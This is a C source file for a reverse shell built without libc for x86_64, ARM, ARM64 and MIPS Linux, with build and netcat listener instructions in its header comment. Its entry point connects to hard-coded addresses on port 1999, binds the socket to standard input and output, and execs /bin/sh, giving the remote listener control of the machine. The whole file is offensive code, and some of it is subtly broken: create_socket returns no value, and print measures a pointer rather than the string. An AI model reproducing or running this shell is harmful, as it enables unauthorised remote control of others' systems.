/* NO STDLIB reverse shell supports X86_64, ARM, ARM64 CAN USE MULTIPLE SERVERS to compile: gcc -nostdlib -o bcshell bcdshell.c (yes, it doesnt use libc, so itll work on a pure linux system with just TCP and syscalls) to run on the server: nc -lvp 1999 */ #define AF_INET 2 #define SOCK_STREAM 1 #if defined (__x86_64__) // the syscall numbers on x86_64 #define SYS_socket 41 #define SYS_connect 42 #define SYS_write 1 #define SYS_exit 60 #define SYS_fork 57 #define SYS_execve 59 #define SYS_pipe 22 #define SYS_read 0 #define SYS_close 3 #define SYS_dup2 33 #define SYS_wait4 61 #define SYS_read 0 #elif defined(__arm__) // the syscall numbers on 32 bit ARM #define SYS_read 3 #define SYS_write 4 #define SYS_close 6 #define SYS_pipe 42 #define SYS_dup2 63 #define SYS_socket 281 #define SYS_connect 283 #define SYS_fork 2 #define SYS_execve 11 #define SYS_exit 1 #define SYS_wait4 114 #elif defined(__aarch64__) //the syscall numbers on 64-bit ARM #define SYS_read 63 #define SYS_write 64 #define SYS_close 57 #define SYS_pipe 59 #define SYS_dup2 33 // dup3 is 292, but dup2 is kept for compatibility #define SYS_socket 198 #define SYS_connect 203 #define SYS_fork 220 // clone is used instead of fork #define SYS_execve 221 #define SYS_exit 93 #define SYS_wait4 260 #elif defined(__mips__) #define SYS_read 4003 #define SYS_write 4004 #define SYS_close 4006 #define SYS_pipe 4042 #define SYS_dup2 4063 #define SYS_wait4 4114 #define SYS_exit 4001 #define SYS_fork 4002 #define SYS_execve 4011 #define SYS_socket 4183 #define SYS_connect 4184 #endif #define CMD_SHELL "/bin/sh" struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; unsigned int sin_addr; unsigned char pad[8]; }; //unsigned char pad[8]; // Minimal syscall shim for x86-64, it KINDA works tho #if defined (__x86_64__) static long my_syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) { long ret; register long r10 asm("r10") = a4; register long r8 asm("r8") = a5; register long r9 asm("r9") = a6; asm volatile("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2), "d"(a3), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory"); return ret; } #elif defined(__arm__) static inline long my_syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) { register long r0 asm("r0") = a1; register long r1 asm("r1") = a2; register long r2 asm("r2") = a3; register long r3 asm("r3") = a4; register long r4 asm("r4") = a5; register long r5 asm("r5") = a6; register long r7 asm("r7") = n; asm volatile("swi 0" : "=r"(r0) : "r"(r0), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r7) : "memory"); return r0; } #elif defined(__aarch64__) static inline long my_syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) { register long x0 asm("x0") = a1; register long x1 asm("x1") = a2; register long x2 asm("x2") = a3; register long x3 asm("x3") = a4; register long x4 asm("x4") = a5; register long x5 asm("x5") = a6; register long x8 asm("x8") = n; asm volatile("svc 0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5), "r"(x8) : "memory"); return x0; } #elif defined (__mips__) static long my_syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) { long ret; asm volatile ( "subu $sp, $sp, 16\n\t" "sw %5, 0($sp)\n\t" "sw %6, 4($sp)\n\t" "syscall\n\t" "addiu $sp, $sp, 16\n\t" : "=v"(ret) : "v"(n), "r"(a1), "r"(a2), "r"(a3), "r"(a4), "r"(a5), "r"(a6) : "$a0", "$a1", "$a2", "$a3", "$sp", "memory" ); return ret; } #endif void start_shell(int sock); void print(const char *msg); int create_socket(); void cleanup(int exitcode); void _start() { // the first function to run, also the true entry point struct sockaddr_in servers[] = { {AF_INET, __builtin_bswap16(1999), 0x0100007F, {0}}, // 127.0.0.1 on port 1999 {AF_INET, __builtin_bswap16(1999), 0xC0A80001, {0}}, // 192.168.0.1 on port 1999 {AF_INET, __builtin_bswap16(1999), 0x0A000001, {0}}, // 10.0.0.1 on port 1999 }; int sock = create_socket(); for (int i = 0; i < sizeof(servers)/sizeof(servers[0]); i++) { long ret = my_syscall(SYS_connect, sock, (long)&servers[i], sizeof(servers[i]), 0,0,0); if (ret == 0) { // success #ifdef DEBUG const char *msg = "successfully connected!\n"; // dont know why it only prints success print(msg); #endif start_shell(sock); break; } #ifdef DEBUG else { const char *failmsg = "fail\n"; print(failmsg); } #endif } cleanup(0); } void start_shell(int sock) { // Redirect socket to stdin, stdout, stderr so we get a true interactive terminal my_syscall(SYS_dup2, sock, 0,0,0,0,0); my_syscall(SYS_dup2, sock, 1,0,0,0,0); my_syscall(SYS_dup2, sock, 2,0,0,0,0); // Exec a persistent shell for a real terminal experience const char *argv[] = { CMD_SHELL, 0 }; const char *envp[] = { 0 }; my_syscall(SYS_execve, (long)CMD_SHELL, (long)argv, (long)envp, 0,0,0); // If exec fails, cleanup cleanup(1); } void print(const char *msg) { my_syscall(SYS_write, 1, (long)msg, sizeof(msg)-1, 0, 0, 0); return; } int create_socket() { my_syscall(SYS_socket, AF_INET, SOCK_STREAM, 0,0,0,0); } void cleanup(int exitcode) { // ye we NEED WRAPPERS, CUZ MANUALLY USING MY_SYSCALL IS GONNA BE A PAIN! my_syscall(SYS_exit, exitcode,0,0,0,0,0); }